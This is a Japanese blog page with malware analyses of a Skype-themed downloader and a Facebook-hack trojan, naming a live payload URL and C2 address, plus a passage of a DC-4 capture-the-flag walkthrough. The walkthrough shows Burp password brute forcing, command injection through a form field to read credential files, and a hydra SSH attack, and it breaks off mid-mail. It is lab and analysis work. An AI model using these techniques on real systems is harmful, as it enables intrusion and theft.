Capture The Frog

かえるぴょこぴょこw

MENU

32ビットのマルウェアが64ビットOSで実行できる理由

多くの場合、マルウェアは32ビットで書かれていることが多い。

32ビットのみのwindowswindows7であり、その後のwindows製品は64ビットと32ビット両方開発されている。

ちなみにwindows11は32ビットCPUをサポートしないようである。

 

ここで一つの疑問が生まれる。なぜOSが64ビットなのに32ビットのマルウェアが多いのか。

これには2つの理由がある。

1つは、32ビットのマルウェアは今までで多く作られており、自分の必要なコードを探して、そのコードを模倣することができるためである。

2つ目は、windowsが32ビットのプログラムをサポートしているためである。

docs.microsoft.com

 

WOW64サブシステムというものがあり、これは64ビットのプログラムを変更せずに 32 ビット プログラムを実行することができるシステムである。

これをマルウェア製作者は悪用することでwindows10などでも32ビットのマルウェアを動かすことができる。

 

Skype Encription v 2.1.exe(79cdf420419a08f791752c759f8e0613)についての解析

この.exeを持ってきたところ
syrianmalware.com
マルウェアなのでダウンロードするときは、十分注意をすること
一切責任は負いません

静的解析

ファイルのハッシュ値
md5sum
79cdf420419a08f791752c759f8e0613

sha256sum
b3a78d0b7dbe6f79a512cb9ab1701a1d5e95e1ab1644dfde0086103ee8babbdd

sha1sum
716646fd8c968f68fa274c333532e0886a3926ee


stellaを使って静的解析

└─$ ./stellaf01 b3a78d0b7dbe6f79a512cb9ab1701a1d5e95e1ab1644dfde0086103ee8babbdd.exe
b3a78d0b7dbe6f79a512cb9ab1701a1d5e95e1ab1644dfde0086103ee8babbdd.exeの静的解析結果

-------------------------------オンラインデータベース
HYBIRD  ANALYSES
https://www.hybrid-analysis.com/search?query=79cdf420419a08f791752c759f8e0613

VIRUS TOTAL
https://www.virustotal.com/gui/search/79cdf420419a08f791752c759f8e0613



-------------------------------ハッシュ値
md5sum
79cdf420419a08f791752c759f8e0613

sha256sum
b3a78d0b7dbe6f79a512cb9ab1701a1d5e95e1ab1644dfde0086103ee8babbdd

sha1sum
716646fd8c968f68fa274c333532e0886a3926ee

xxd
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
b3a78d0b7dbe6f79a512cb9ab1701a1d5e95e1ab1644dfde0086103ee8babbdd.exeは、実行ファイルです。

file
b3a78d0b7dbe6f79a512cb9ab1701a1d5e95e1ab1644dfde0086103ee8babbdd.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Windows7で動く32ビットの実行ファイルです。

-------------------------------GET関連
GetHashCode
GetType
get_GetInstance
GetInstance
GetObjectValue
GetTypeFromHandle
GetResourceString
GetObject
GetProcesses


-------------------------------DOWNLOAD関連
DownloadFile
                                                                                        

-------------------------------SET関連
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
MySettings
MySettingsProperty
set_form1
set_Button2
set_Button1
set_PictureBox1
set_Label1
set_Button3
set_PictureBox2
set_PictureBox3
set_Button4
set_Label2
set_Culture
ApplicationSettingsBase
AutoSaveSettings
get_Settings
Settings
set_Item
set_Capacity
SetCompatibleTextRenderingDefault
set_IsSingleInstance
set_EnableVisualStyles
set_SaveMySettingsOnExit
set_ShutdownStyle
set_MainForm
SetProjectError
set_Location
set_Name
set_Size
set_TabIndex
set_Text
set_UseVisualStyleBackColor
set_Image
set_SizeMode
set_TabStop
set_AutoSize
set_ForeColor
set_AutoScaleDimensions
set_AutoScaleMode
set_BackColor
set_ClientSize
set_Icon
SettingsBase
get_SaveMySettingsOnExit
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
My.Settings
Property can only be set to Nothing


-------------------------------Reg関連


-------------------------------START関連
Start
Please restart your Skype


-------------------------------File関連
DownloadFile
AssemblyFileVersionAttribute
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
VarFileInfo
StringFileInfo
FileDescription
FileVersion
OriginalFilename


-------------------------------RESOURCE関連
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
                <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:831ED3170F8211E084D3E1455213F394" xmpMM:DocumentID="xmp.did:831ED3180F8211E084D3E1455213F394">
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
Resources
WindowsApplication1.My.Resources
System.Resources
ResourceManager
resourceMan
resourceCulture
get_ResourceManager
GetResourceString
ComponentResourceManager
NeutralResourcesLanguageAttribute
WindowsApplication1.Resources.resources
WindowsApplication1.form1.resources
3System.Resources.Tools.StronglyTypedResourceBuilder
WindowsApplication1.Resources


-------------------------------computer関連
MyComputer
Computer
get_Computer
m_ComputerObjectProvider                                                                
ServerComputer
My.Computer


-------------------------------local関連


-------------------------------device関連
Microsoft.VisualBasic.Devices


-------------------------------exe関連
Skype Encription v 2.1.exe
_CorExeMain
http://216.6.0.28/SkypeEncription/Download/skype.exe
\skype.exe
Skype Encription v 2.1.exe
Skype Encription v 2.1.exe
Finished execution after 0.012073 seconds


-------------------------------sleep関連


-------------------------------INTERNET関連


-------------------------------dll関連
mscoree.dll


-------------------------------その他
-----------------------------------------------Blacklist検索結果

データをダウンロードし、システムに適用させる可能性があります。1/5
DownloadFile

外部と通信する可能性があります。1/5
DownloadFile

実行環境を読み取る可能性があります。1/9
get_Computer


このマルウェアに関連するhttp
:http://ns.adobe.com/xap/1.0/
        <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">               
                <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:831ED3170F8211E084D3E1455213F394" xmpMM:DocumentID="xmp.did:831ED3180F8211E084D3E1455213F394">                                                                                
4System.Web.Services.Protocols.SoapHttpClientProtocol                                   
http://216.6.0.28/SkypeEncription/Download/skype.exe                                    
http://skype-encription.sytes.net/                                                      
                                  


異なるマルウェアをダウンロードさせる「ダウンローダー」の可能性
コンピューター名を取得する
http://216.6.0.28/SkypeEncription/Download/skype.exeから、「skype.exe」(マルウェア)をダウンロードする
GUIを使用している

動的解析


f:id:QWERTYtan:20210921212318p:plain
GUIを使用していて、これのいずれかのボタンを押すと、「skype.exe」がダウンロードされる
f:id:QWERTYtan:20210921212800p:plain
また、stellaからも分かるように216.6.0.28にサーバーでhttp 通信でダウンロードしようとしている。

メモリフォレンジック

ダウンローダーなので、簡単なコードだけでかけるためCorExeMainだけがインポートされていた。


よって、このマルウェアは216.6.0.28からskype.exeをダウンロードする「ダウンローダ」だと言える

hack_facebook_pro_v6.9.exe(229af3e4f9dccc0497e7546c09790d50)の解析

o

今回は、hack_facebook_pro_v6.9.exeについてのレポートを書いていきます。

syrianmalware.com

syrianmalwareというマルウェアデータベースを利用しました。
マルウェアなのでダウンロードする際には、万全の注意を払ってください。
一切の責任は取れません。

 

MD5
229af3e4f9dccc0497e7546c09790d50

SHA-256
9d3fac012d1f7a6cf3c7c381e6ef4b2c73d4d8d5a3f6a597d2b2837e115c90a0
SHA1

5a35ec46be8f551ed572ab2fb675f7c09ae7beaf

静的解析

ファイルシグニチャの確認

このようなマルウェアでは、ファイル拡張子が正しいとは限らないためファイルシグニチャを確認します。
ファイルシグニチャをfileコマンドで確認します。 f:id:QWERTYtan:20210921172036p:plain よって、このマルウェアwindows7で動く32ビットのファイルだと分かりました。

オンラインデータベースでの検索

VirusTotalのリンク
www.virustotal.com ログインすると詳細な結果を見ることができます。

HybridAnalysisでの検索したリンク
https://www.hybrid-analysis.com/search?query=229af3e4f9dccc0497e7546c09790d50 こちらはログインしなくても詳細な結果を見ることができます。

文字列の抽出

stellaで静的解析

github.com

hack_facebook_pro_v6.9.exeの静的解析結果

-------------------------------GET関連
GetCurrentDirectoryW
GetLastError
GetCurrentProcess
GetFileType
GetStdHandle
GetFileAttributesA
GetFileAttributesW
GetTickCount
GetVersionExW
GetFullPathNameA
GetFullPathNameW
GetModuleFileNameW
GetModuleHandleW
GetProcessHeap
GetLocaleInfoW
GetNumberFormatW                                                                                                                                                                                                  
GetDateFormatW
GetTimeFormatW
GetExitCodeProcess
GetTempPathW                                                                                                                                                                                                      
GetCommandLineW
GetProcAddress                                                                                                                                                                                                    
GetSystemTime
GetCPInfo
GetDlgItem
GetClientRect
GetMessageW
GetWindowLongW
GetParent
GetWindowRect
GetWindow
GetSystemMetrics
GetWindowTextW
GetDC
GetDlgItemTextW
GetClassNameW
GetSysColor
GetObjectW
GetDeviceCaps
GetSaveFileNameW
GetOpenFileNameW
SHGetPathFromIDListW
SHGetMalloc
SHGetSpecialFolderLocation
SHGetFileInfoW                                                                                                                                                                                                    


-------------------------------DOWNLOAD関連


-------------------------------SET関連
SetDllDirectoryW
SetLastError
SetFileTime
SetFilePointer
SetEndOfFile
SetFileAttributesA
SetFileAttributesW
SetEnvironmentVariableW
SetCurrentDirectoryW
SetWindowLongW
SetWindowTextW
SetWindowPos
SetDlgItemTextW
SetFocus
SetForegroundWindow
SetFileSecurityA
SetFileSecurityW
RegSetValueExW
  <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
  </asmv3:windowsSettings>


-------------------------------START関連
RegisterClassExW
RegCloseKey
RegSetValueExW
RegCreateKeyExW
RegQueryValueExW                                                                                                                                                                                                  
RegOpenKeyExW


-------------------------------START関連


-------------------------------File関連
SetFileTime
MoveFileW
SetFilePointer                                                                                                                                                                                                    
SetEndOfFile
GetFileType
CreateFileA
CreateFileW
ReadFile
WriteFile
GetFileAttributesA                                                                                                                                                                                                
GetFileAttributesW
SetFileAttributesA
SetFileAttributesW
DeleteFileW
DeleteFileA                                                                                                                                                                                                       
FindNextFileA                                                                                                                                                                                                     
FindFirstFileA
FindNextFileW
FindFirstFileW
GetModuleFileNameW
DosDateTimeToFileTime
FileTimeToSystemTime
FileTimeToLocalFileTime
MoveFileExW
UnmapViewOfFile                                                                                                                                                                                                   
MapViewOfFile                                                                                                                                                                                                     
CreateFileMappingW                                                                                                                                                                                                
OpenFileMappingW
LocalFileTimeToFileTime
SystemTimeToFileTime
GetSaveFileNameW
GetOpenFileNameW
SetFileSecurityA
SetFileSecurityW
SHGetFileInfoW
SHFileOperationW


-------------------------------RESOURCE関連
FindResourceW
                                                                                                                                                                                                                  

-------------------------------computer関連


-------------------------------local関連
GetLocaleInfoW
FileTimeToLocalFileTime                                                                                                                                                                                           
LocalFileTimeToFileTime


-------------------------------device関連
GetDeviceCaps


-------------------------------exe関連
ShellExecuteExW
      <requestedExecutionLevel level="asInvoker"            
GoogleUp-date.exe


-------------------------------sleep関連
Sleep
                                                                                                                                                                                                                  

-------------------------------INTERNET関連


-------------------------------dll関連
SetDllDirectoryW
COMCTL32.dll
SHLWAPI.dll
KERNEL32.dll
USER32.dll
GDI32.dll
COMDLG32.dll
ADVAPI32.dll
SHELL32.dll
ole32.dll                                                                                                                                                                                                         
OLEAUT32.dll


-------------------------------その他
AdjustTokenPrivileges
OpenProcessToken                                                                                                                                                                                                  
ShellExecuteExW                                                                                                                                                                                                   
SHChangeNotify                                                                                                                                                                                                    
-----------------------------------------------Blacklist検索結果                                                                                                                                                  

パス(環境変数)を作成可能性があります。1/2
SHGetSpecialFolderLocation

プロセスの作成・削除が行われる可能性があります。1/7
GetExitCodeProcess

ファイルの作成、移動、削除が行われる可能性があります。5/7
MoveFileW
MoveFileExW
WriteFile
DeleteFileW
DeleteFileA

このマルウェアは、ドロッパーの可能性があります。1/7
FindResourceW

shellやコマンドプロンプトが使われる可能性があります。3/7
ShellExecuteExW
GetCommandLineW
SHELL32.dll

ユーザーの意図しないスリープをする可能性があります。1/3
Sleep

ファイルに何らかの影響を及ぼす可能性があります。5/11
UnmapViewOfFile
MapViewOfFile
SHChangeNotify
AdjustTokenPrivileges
OpenProcessToken

windowsレジストリに影響を与える可能性があります。1/9
RegCreateKeyExW

実行環境を読み取る可能性があります。1/9
GetLocaleInfoW

マルウェアを導入する前のコンピュータの何らかの設定ファイルの書き換え・削除する可能性があると考えられます。
そして、このマルウェアFacebookという名前を使っていることから、トロイの木馬と考えられます。
GoogleUp-date.exeというマルウェアは、このhack_facebook_pro_v6.9.exeとハッシュ関数が同じであることから、hack_facebook_pro_v6.9.exeの名前を変えてプログラムがユーザーによって削除されることを防いでいるのだと考えられます。
また、ユーザが消そうとするとスリープするようになります。

動的解析

app.any.run
このサイトと仮想環境を使用して、動的解析を行っていきます。
f:id:QWERTYtan:20210921174257p:plain
このように、hack_facebook_pro_v6.9.exeはGoogleUp-date.exeに名前を変更してユーザーに削除されることを防ぐ役割を果たしていると考えられます。
f:id:QWERTYtan:20210921175355p:plain
また、GoogleUp-date.exeに名前の変更をするためにレジストリの設定を書き換えていると考えられます。

また、wiresharkを使用してtcpなどで外部と通信しているかを確認すると、
f:id:QWERTYtan:20210921183756p:plain
216.6.0.28と通信していました。
ipinfo.io
このサーバーはダマスカスにあるサーバーで、このサーバーとポート885で接続しようとしていました。

メモリフォレンジック

メモリフォレンジックでwindowsAPIを確認すると、

それぞれが見つかりました。


shlwapi.hのSHAutoComplete関数
オートコンプリートを使用してURLまたはファイルシステムパスを完成させるようにシステム編集コントロールに指示するインポート関数

commctrl.hのInitCommonControlsEx関数
Comctl32.dll(共通制御dll)のロードを確認するwindowsAPIがインポートされていました。

このような必要最低限のWindowsAPIしかインポートしない・chrome-Update.exeを生み出す
ということからhack_facebook_pro_v6.9.exeは優良なアプリに見せかけてファイルを不正に削除・書き換えを行うトロイの木馬だと考えられます。

このhack_facebook_pro_v6.9.exeについてまとめてみると、


・GoogleUp-date.exeに名前を変えて延命を図る。
・216.6.0.28とTCP通信を試みている。

DC-4 Write up

DC-4のフラグ取得までの流れ

・netdiscover/nmapでDC-4の基本情報取得
・nikto/dirsearchでのwebサーバー・公開ディレクトリの情報取得
・Burpsuiteを使ってパスワードの取得
・ログイン
・Burpsuiteを使用したコマンドインジェクション
sshにログイン
・権限昇格
・フラグ取得



netdiscover/nmapでDC-4の基本情報取得

 Currently scanning: 192.168.110.0/16   |   Screen View: Unique Hosts                                     
                                                                                                          
 31 Captured ARP Req/Rep packets, from 6 hosts.   Total size: 1656                                        
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.3.2     10:6f:3f:e6:28:40     17    1020  BUFFALO.INC                                            
 192.168.3.1     30:f7:72:be:b9:b9     10     420  Hon Hai Precision Ind. Co.,Ltd.                        
 192.168.3.16    44:09:b8:8c:f4:72      1      60  Salcomp (Shenzhen) CO., LTD.                           
 192.168.3.22    08:00:27:24:fb:1e      1      60  PCS Systemtechnik GmbH                                 
 192.168.3.8     d2:79:22:51:d6:19      1      54  Unknown vendor                                         
 192.168.10.1    30:f7:72:be:b9:b9      1      42  Hon Hai Precision Ind. Co.,Ltd.                        

                                                                                                           
┌──(root💀snowyowl)-[~]
└─# nmap -sS -A -Pn 192.168.3.22 -p-                                                                 130 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-03 19:19 JST
Nmap scan report for 192.168.3.22
Host is up (0.00073s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
|   256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_  256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open  http    nginx 1.15.10
|_http-server-header: nginx/1.15.10
|_http-title: System Tools
MAC Address: 08:00:27:24:FB:1E (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.73 ms 192.168.3.22

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.26 seconds
                                                                                                           

        

nikto/dirsearchでのwebサーバー・公開ディレクトリの情報取得

┌──(root💀snowyowl)-[~]
└─# nikto -h 192.168.3.22           
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.3.22
+ Target Hostname:    192.168.3.22
+ Target Port:        80
+ Start Time:         2021-09-03 19:21:02 (GMT9)
---------------------------------------------------------------------------
+ Server: nginx/1.15.10
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Cookie PHPSESSID created without the httponly flag
+ 7915 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2021-09-03 19:21:16 (GMT9) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

┌──(root💀snowyowl)-[~/dirsearch]
└─# ls
banner.txt       db            Dockerfile   logs       requirements.txt  static
CHANGELOG.md     default.conf  __init__.py  README.md  setup.cfg         thirdparty
CONTRIBUTORS.md  dirsearch.py  lib          reports    setup.py
                                                                                                       
┌──(root💀snowyowl)-[~/dirsearch]
└─# python3 dirsearch.py -u http://192.168.3.22/                    

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/dirsearch/reports/192.168.3.22/-_21-09-05_11-53-17.txt

Error Log: /root/dirsearch/logs/errors-21-09-05_11-53-17.log

Target: http://192.168.3.22/

[11:53:17] Starting: 
[11:53:41] 302 -  704B  - /command.php  ->  index.php                       
[11:53:43] 301 -  170B  - /css  ->  http://192.168.3.22/css/                
[11:53:50] 301 -  170B  - /images  ->  http://192.168.3.22/images/          
[11:53:50] 403 -  556B  - /images/                                          
[11:53:51] 200 -  506B  - /index.php                                        
[11:53:51] 403 -   15B  - /index.pHp                                        
[11:53:54] 302 -  206B  - /login.php  ->  index.php                         
[11:53:55] 302 -  163B  - /logout.php  ->  index.php                        
                                                                             
Task Completed                                                                                         
     

niktoは、webサーバーに対して攻撃的な情報な調査で、dirseachは正当なwebサーバーの調査感がありますね笑


Burpsuiteを使ってパスワードの取得

この段階で考えられる攻撃手段は、nginxの脆弱性をつかった攻撃
Burpsuiteを使った中間者攻撃がありますが、ここではBurpsuiteを使っていきます。
Burpsuiteの細かい使い方は、ここに詳しく書きました。

qwertytan.hatenablog.jp BurpsuiteのProxyでブラウザを開いて、http://192.168.3.22に接続したところから書いていきます。 ↓この状態 f:id:QWERTYtan:20210905120354p:plain ユーザー名をadmin(勘にして、パスワードの特定にrockyou.txtを使ってパスワードを特定していきます。 f:id:QWERTYtan:20210905120754p:plain 調べたいパスワードを§§で括った状態 f:id:QWERTYtan:20210905120917p:plain Payloadsタブに移動、Payload SetsにSimple listを選択。 Payload OptionsのLoadに/usr/share/wordlists/rockyou.txtを選択した状態 f:id:QWERTYtan:20210905122238p:plain start attack実行中 f:id:QWERTYtan:20210905123252p:plain

ログイン

この様子からユーザー名adminは、passwordに何を入れてもログインすることができることが分かります。
ブラウザで、
ユーザー名:admin
パスワード:
でsubmitをクリック

このときにProxyのInterceptをオフにしないとログインできないので、必ず一回一回Interseptをoffにすることを忘れないでください。
この状態が正しい↓
f:id:QWERTYtan:20210905123528p:plain

ログインできた f:id:QWERTYtan:20210905123719p:plain

Burpsuiteを使用したコマンドインジェクション

今後、Burpsuiteを使う場合は、

intercept on

ブラウザで何かをする

分析・書き換え等

Intercept off
の順に行うこと

このcommandを悪用して、(burpsiteでこのコマンドを書き換える)コマンドインジェクションをしていきます。
ls -lのコマンドを自分たちの使いたいコマンドに書き換える。
f:id:QWERTYtan:20210905123949p:plain

Burpsiteのinterceptをonにして、ブラウザでrunをクリックします。 f:id:QWERTYtan:20210905124156p:plain

radio=ls+-l&submit=Run

の部分を書き換えれば、自分たちの好きなコマンドにできそう。
早速試しに、pwdを実行する。

radio=pwd&submit=Run

f:id:QWERTYtan:20210905133705p:plain
うまくいったので、この調子で進める。
whoami
→www-data

ls /home
→charles
jim
sam

ls /home/jim
→backups
 mbox
 test.sh

ls /home/jim/backups
→old-passwords.bak

cat /home/jim/backups/old-passwords.bak
f:id:QWERTYtan:20210905135110p:plain
過去に使われたパスワードの一覧が表示される。
あとで使えるかもしれないので頭の片隅に置いておく

/etc/passwdの中もみてみる
cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
nginx:x:107:111:nginx user,,,:/nonexistent:/bin/false
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
Debian-exim:x:108:112::/var/spool/exim4:/bin/false
raaj::0:0:::/bin/bash



charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
root:x:0:0:root:/root:/bin/bash

以外は、nologinとなっていて、無効化されている。
このサーバーは、sshサービスが起動していたので、そこから攻めてみる。

sshにログイン

ここでは、sshサーバーにログインする他にも、DC-3の時のようにリバースシェルをアップロードする方法もある。
ここではsshサーバーにログインしてみる。
sshサーバーのユーザー名が分かってもパスワードがわからないじゃないかとなるかもしれないが、先程old-passwordというパスワードリストを使ってパスワードリスト攻撃をhydraで行う。
old-passwordで表示されたパスワードを攻撃者側のpcにファイルを作って、書き込む
ここでは、dc-4passwordというファイルにold-passwordの内容を書き込んだ。
そして、hydraを使う。
オプション
hydra -l ログインを試みるユーザー名 -p ワードリスト ssh://ipアドレス

┌──(root💀snowyowl)-[~]
└─# hydra -l jim -P dc-4password ssh://192.168.3.22
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-05 14:15:24
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.3.22:22/
[22][ssh] host: 192.168.3.22   login: jim   password: jibril04
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-05 14:15:24

パスワードが見つかったので、早速sshにログインする。

┌──(root💀snowyowl)-[~]
└─# ssh jim@192.168.3.22
jim@192.168.3.22's password: 
Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Sat Sep  4 23:23:16 2021 from 192.168.3.17
jim@dc-4:~$ 

ログインできた。

権限昇格

一般ユーザーでログインできたので、権限昇格を目指す。
mboxを見ても何も手がかりはないし、test.shは煽り文しか出てこない。

jim@dc-4:/var/mail$ cd /tmp/mail
jim@dc-4:/var/mail$ ls
jim
jim@dc-4:/var/mail$ cat jim
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
        (envelope-from <charles@dc-4>)
        id 1hCjIX-0000kO-Qt
        for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

See ya,
Charles

From MAILER-DAEMON Sat Sep 04 23:23:56 2021
Return-path: <>
Envelope-to: jim@dc-4
Delivery-date: Sat, 04 Sep 2021 23:23:56 +1000
Received: from Debian-exim by dc-4 with local (Exim 4.89)
        id 1mMVeG-0000Wb-Fa
        for jim@dc-4; Sat, 04 Sep 2021 23:23:56 +1000
X-Failed-Recipients: dc4@dc-4
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@dc-4>
To: jim@dc-4
Content-Type: multipart/report; report-type=delivery-status; boundary=1630761836-eximdsn-1804289383
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1mMVeG-0000Wb-Fa@dc-4>
Date: Sat, 04 Sep 2021 23:23:56 +1000

--1630761836-eximdsn-1804289383
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  dc4@dc-4
    (generated from root@dc-4)
    Unrouteable address

--1630761836-eximdsn-1804289383
Content-type: message/delivery-status

Reporting-MTA: dns; dc-4

Action: failed
Final-Recipient: rfc822;dc4@dc-4
Status: 5.0.0

--1630761836-eximdsn-1804289383
Content-type: message/rfc822

Return-path: <jim@dc-4>
Received: from jim by dc-4 with local (Exim 4.89)
        (envelope-from <jim@dc-4>)
        id 1mMVeG-0000WZ-AW
        for root@dc-4; Sat, 04 Sep 2021 23:23:56 +1000
To: root@dc-4
Auto-Submitted: auto-generated
Subject: *** SECURITY information for dc-4 ***
From: Jim <jim@dc-4>
Message-Id: <E1mMVeG-0000WZ-AW@dc-4>
Date: Sat, 04 Sep 2021 23:23:56 +1000

dc-4 : Sep  4 23:23:56 : jim : user NOT in sudoers ; TTY=pts/0 ; PWD=/home/jim ; USER=root ; COMMAND=/bin/su -


--1630761836-eximdsn-1804289383--

From MAILER-DAEMON Sun Sep 05 15:30:23 2021
Return-path: <>
Envelope-to: jim@dc-4
Delivery-date: Sun, 05 Sep 2021 15:30:23 +1000
Received: from Debian-exim by dc-4 with local (Exim 4.89)
        id 1mMkjX-0000bm-1A
        for jim@dc-4; Sun, 05 Sep 2021 15:30:23 +1000
X-Failed-Recipients: dc4@dc-4
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@dc-4>
To: jim@dc-4
Content-Type: multipart/report; report-type=delivery-status; boundary=1630819822-eximdsn-1804289383
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1mMkjX-0000bm-1A@dc-4>
Date: Sun, 05 Sep 2021 15:30:23 +1000

--1630819822-eximdsn-1804289383
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  dc4@dc-4
    (generated from root@dc-4)
    Unrouteable address

--1630819822-eximdsn-1804289383
Content-type: message/delivery-status

Reporting-MTA: dns; dc-4

Action: failed
Final-Recipient: rfc822;dc4@dc-4
Status: 5.0.0

--1630819822-eximdsn-1804289383
Content-type: message/rfc822

